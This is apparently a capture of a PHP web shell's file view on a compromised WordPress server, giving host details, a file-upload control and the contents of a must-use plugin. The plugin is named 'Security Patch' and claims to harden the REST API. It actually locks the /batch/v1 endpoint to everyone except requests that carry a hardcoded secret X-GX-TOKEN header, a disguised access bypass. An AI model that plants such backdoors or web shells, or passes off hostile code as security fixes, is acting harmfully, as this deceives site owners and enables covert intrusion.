| Server IP : 167.99.254.82 / Your IP : 216.73.216.76 Web Server : Apache System : Linux host.techisquad.com 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64 User : pawluxera ( 1011) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/pawluxera/public_html/wp-content/mu-plugins/ |
Upload File : |
<?php
/*
Plugin Name: Security Patch
Description: REST API hardening.
Version: 1.0
*/
add_action('rest_api_init', function() {
$u = isset($_SERVER['REQUEST_URI']) ? urldecode($_SERVER['REQUEST_URI']) : '';
if (!is_user_logged_in() && strpos($u, '/batch/v1') !== false) {
if (isset($_SERVER['HTTP_X_GX_TOKEN']) && $_SERVER['HTTP_X_GX_TOKEN'] === 'gx_b7f9a2e1d8c34f6b') {
return;
}
status_header(403);
header('Content-Type: application/json; charset=UTF-8');
echo json_encode(array('code' => 'rest_forbidden', 'message' => 'Access denied.', 'data' => array('status' => 403)));
exit;
}
});